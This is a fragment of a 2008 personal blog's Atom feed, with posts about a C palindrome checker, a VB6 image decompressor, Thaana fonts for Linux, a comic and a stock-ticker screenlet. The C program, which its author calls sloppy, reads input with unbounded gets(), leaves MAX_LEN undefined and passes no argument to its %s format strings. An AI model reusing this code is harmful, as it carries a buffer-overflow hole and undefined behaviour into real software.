iPhone'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_bwme_BmmviI/R7Go2BDD0mI/AAAAAAAAABI/5-yQ8Y-C-hE/s72-c/dhiraagu1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-7095374419591480895</id><published>2008-09-16T17:26:00.002+08:00</published><updated>2010-07-27T16:40:14.216+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C programming'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><title type='text'>C palindrome</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;a hastily done program that takes a string as input and checks if it is a palindrome. I wrote this on request, and looking back I can see that it is indeed very sloppy code. I would not recommend it for anything serious because the memory management here is just awful! However, I suppose it will do for a beginner programmer looking to cheat a little. Compiles on Turbo C/C++&lt;br /&gt;&lt;br /&gt;I think I put it up for the sole purpose of testing Google's code prettifier.&lt;br /&gt;&lt;br /&gt;&lt;pre class='brush:c'&gt;#include&amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include&amp;lt;string.h&amp;gt;&lt;br /&gt;#include&amp;lt;ctype.h&amp;gt;&lt;br /&gt;#include&amp;lt;conio.h&amp;gt;&lt;br /&gt;&lt;br /&gt;int main(void)&lt;br /&gt;{&lt;br /&gt;char input[MAX_LEN],buffer[MAX_LEN],bufferrev[MAX_LEN];&lt;br /&gt;int i=0,j=0;&lt;br /&gt;&lt;br /&gt;printf("Enter your test string\n");&lt;br /&gt;gets(input);&lt;br /&gt;&lt;br /&gt;//Sanitize and remove spaces from input, if any.&lt;br /&gt;&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;if(!isspace(input[i]) &amp;amp;&amp;amp; !ispunct(input[i])){&lt;br /&gt;buffer[j]=input[i];&lt;br /&gt;j++;&lt;br /&gt;}&lt;br /&gt;i++;&lt;br /&gt;} while (input[i]!='\0');&lt;br /&gt;&lt;br /&gt;buffer[j]='\0'; //append null character to end. Required for&lt;br /&gt;//string.h functions to operate properly.&lt;br /&gt;&lt;br /&gt;//end sanitation code&lt;br /&gt;&lt;br /&gt;strcpy(bufferrev,buffer); //copy contents of buffer to bufferrev&lt;br /&gt;strrev(bufferrev);        //reverse bufferrev. provided by string.h&lt;br /&gt;&lt;br /&gt;if(strcmp(buffer,bufferrev)==0)&lt;br /&gt;printf("\"%s\" is a palindrome!\n");&lt;br /&gt;else&lt;br /&gt;printf("\"%s\" is not a palindrome!\n");&lt;br /&gt;&lt;br /&gt;getch();&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-7095374419591480895?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/7095374419591480895/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/09/c-palindrome_16.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/7095374419591480895'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/7095374419591480895'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/09/c-palindrome_16.html' title='C palindrome'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-3581398356284200048</id><published>2008-09-16T17:10:00.001+08:00</published><updated>2008-09-16T17:10:22.010+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='LWF'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><title type='text'>LWF decompressor GUI</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;A small VB6 application that I wrote back in 2005, and have since lost the source-code of (otherwise I would have put it up)&lt;br/&gt;&lt;br/&gt;LWF (lurawave) &lt;strike&gt;is&lt;/strike&gt; was a state-of-the-art image compression format that uses wavelets instead of cosine/Fourier transforms and was thus able to achieve higher compression ratio's at higher qualities than say jpeg. It would've been a great format if only LuraTech had played it better.&lt;br/&gt;&lt;br/&gt;sadly it no longer appears to be supported. They seem to have turned their focus more on the JPEG2000 standard, which share the underlying principles.&lt;br/&gt;&lt;br/&gt;This is a front-end for the command line tool that is availible from their website on request. It does decompression only, supports multiple formats, passwords and output quality. It's meant for batch processing of single folders. Requires VB runtimes.&lt;br/&gt;&lt;br/&gt;&lt;a href='http://kudanai.googlepages.com/lwfd.zip'&gt;&lt;big&gt;&lt;b&gt;DOWNLOAD&lt;/b&gt;&lt;/big&gt;&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;Note: This is pretty ancient if you ask me, and one of the first peices of software that I ever wrote so it has sentimental value to me..Tha and I was pretty partial to LWF when it was the thing and I believed that it'd overtake JPEG soon...guess I was wrong about that. (most of my old image archive is still in LWF)&lt;br/&gt;&lt;br/&gt;&lt;div align='center'&gt;&lt;a title='Decompressor running on WINE.' rel='lightbox[lwfd]' href='http://kudanai.googlepages.com/lwfd_Screenshot1.png'&gt;&lt;img width='193' height='140' src='http://kudanai.googlepages.com/lwfd_Screenshot1.png' style='max-width: 800px;'/&gt;&lt;/a&gt;  &lt;a title='Decompressoor options' rel='lightbox[lwfd]' href='http://kudanai.googlepages.com/lwfd_Screenshot2.png'&gt;&lt;img width='190' height='139' src='http://kudanai.googlepages.com/lwfd_Screenshot2.png' style='max-width: 800px;'/&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-3581398356284200048?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/3581398356284200048/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/09/lwf-decompressor-gui.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3581398356284200048'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3581398356284200048'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/09/lwf-decompressor-gui.html' title='LWF decompressor GUI'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-1401951381356626945</id><published>2008-09-16T16:51:00.001+08:00</published><updated>2008-09-16T16:51:28.074+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='thaana'/><title type='text'>Thaana fonts for linux</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Based on the original script by &lt;a href='http://vishah.blogspot.com' target='_blank'&gt;vishah&lt;/a&gt;, this package contains the most commonly used thaana fonts (on the web), and a small installation script to help the process. If you want to include potential updates and stuff, use vishah's online script. Use this for offline setups.&lt;br/&gt;&lt;br/&gt;&lt;a href='http://kudanai.googlepages.com/mvfonts.tar.gz'&gt;&lt;big&gt;&lt;b&gt;DOWNLOAD&lt;/b&gt;&lt;/big&gt;&lt;/a&gt;&lt;br/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-1401951381356626945?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/1401951381356626945/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/09/thaana-fonts-for-linux.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/1401951381356626945'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/1401951381356626945'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/09/thaana-fonts-for-linux.html' title='Thaana fonts for linux'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-4448827893261948743</id><published>2008-09-16T16:46:00.002+08:00</published><updated>2010-07-25T18:09:25.402+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='personal'/><category scheme='http://www.blogger.com/atom/ns#' term='comic'/><title type='text'>Half full</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;I posted this on Wednesday, January 02, 2008.&lt;br /&gt;&lt;br /&gt;A little comic that I drew up while bored in class, and is "dedicated to my baby"...and I still read &lt;a href="http://www.xkcd.com/"&gt;xkcd&lt;/a&gt; on a regular basis!&lt;br /&gt;&lt;br /&gt;&lt;div align="center"&gt;&lt;a href="http://kudanai.googlepages.com/halfglass.jpg" id="single_image" title="My glass is full - I love the girl! what do you expect?"&gt;&lt;img height="265" src="http://kudanai.googlepages.com/halfglass.jpg" style="max-width: 800px;" width="185" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-4448827893261948743?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/4448827893261948743/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/09/half-full.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/4448827893261948743'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/4448827893261948743'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/09/half-full.html' title='Half full'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-5400862408031393269</id><published>2008-09-16T16:39:00.001+08:00</published><updated>2008-12-10T09:15:57.536+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='screenlet'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='stocks'/><title type='text'>MSE stock screenlet</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;starting the transfer from bottom up.&lt;br/&gt;&lt;br/&gt;This is a modified version of Patrik Kullman's &lt;a href='http://www.screenlets.org/index.php/Stocks'&gt;stock screenlet&lt;/a&gt;. A nice guy really, I had the good fortune of meeting online. Most of the hard work was done by him so all credit goes his way. All I did was make it fetch data off &lt;a href='http://www.maldivesstockexchange.com.mv'&gt;http://www.maldivesstockexchange.com.mv&lt;/a&gt; instead of Yahoo! Finance.&lt;br/&gt;&lt;br/&gt;You need to be running the &lt;a href='http://www.screenlets.org'&gt;screenlet engine&lt;/a&gt; on linux.&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href='http://kudanai.googlepages.com/mvStocks.tar.gz'&gt;&lt;big&gt;&lt;b&gt;DOWNLOAD&lt;/b&gt;&lt;/big&gt;&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;&lt;div align='center'&gt;&lt;a href='http://3.bp.blogspot.com/_bwme_BmmviI/RzcBOeQEUuI/AAAAAAAAAA4/BV6Cz3dXvI4/s1600/Screenshot.png' rel='lightbox' title='Stock screenlet preview'&gt;&lt;img style='max-width: 800px;' src='http://3.bp.blogspot.com/_bwme_BmmviI/RzcBOeQEUuI/AAAAAAAAAA4/BV6Cz3dXvI4/s320/Screenshot.png'/&gt;&lt;/a&gt;&lt;br/&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-5400862408031393269?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/5400862408031393269/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/09/mse-stock-screenlet.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/5400862408031393269'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/5400862408031393269'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/09/mse-stock-screenlet.html' title='MSE stock screenlet'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_bwme_BmmviI/RzcBOeQEUuI/AAAAAAAAAA4/BV6Cz3dXvI4/s72-c/Screenshot.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-1903572701809111906</id><published>2008-09-15T20:01:00.001+08:00</published><updated>2008-09-15T20:01:24.189+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='announcements'/><title type='text'>Welcome home!</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Ladies and gentlemen this is your captain speaking!&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;We hope you enjoyed your flight over from &lt;a href='http://shadesofevil.blogspot.com'&gt;http://www.shadesofevil.blogspot.com&lt;/a&gt;. You have now arrived at our NEW and hopefully improved parking lot for all sorts of madness. We hope you enjoy your stay. Feel free to book yourselves onto our local facebook and twitter safari. Thank you very much for flying in, and don't forget to check out our exciting list of friends there on the right.&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;If you encounter any problems, please don't hesitate to approach us.&lt;br/&gt;Enjoy your stay.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-1903572701809111906?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/1903572701809111906/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/09/welcome-home.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/1903572701809111906'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/1903572701809111906'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/09/welcome-home.html' title='Welcome home!'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>4</thr:total></entry></feed>
